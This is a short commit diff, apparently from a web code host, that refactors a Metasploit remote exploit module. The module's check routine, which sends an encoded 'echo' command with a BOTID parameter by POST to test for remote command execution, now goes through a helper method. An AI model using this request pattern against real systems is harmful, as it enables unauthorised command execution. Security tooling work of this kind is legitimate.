Applied some refactoring to decrease line count
parent
fe0e16183c
commit
b8cada9ab0
|
@ -54,19 +54,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def check
|
||||
uri = normalize_uri(target_uri.path.to_s)
|
||||
confirm_string = rand_text_alpha(8)
|
||||
cmd = "echo '#{confirm_string}';"
|
||||
request_parameters = {
|
||||
'method' => 'POST',
|
||||
'uri' => uri,
|
||||
'vars_post' =>
|
||||
{
|
||||
'id' => datastore['BOTID'],
|
||||
'data' => Rex::Text.encode_base64(cmd.unpack('H*'))
|
||||
}
|
||||
}
|
||||
shell = send_request_cgi(request_parameters)
|
||||
shell = http_send_command(cmd)
|
||||
if (shell and shell.body =~ /#{confirm_string}/)
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
|
@ -85,6 +75,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
}
|
||||
}
|
||||
res = send_request_cgi(request_parameters)
|
||||
return res
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
|
Loading…
Reference in New Issue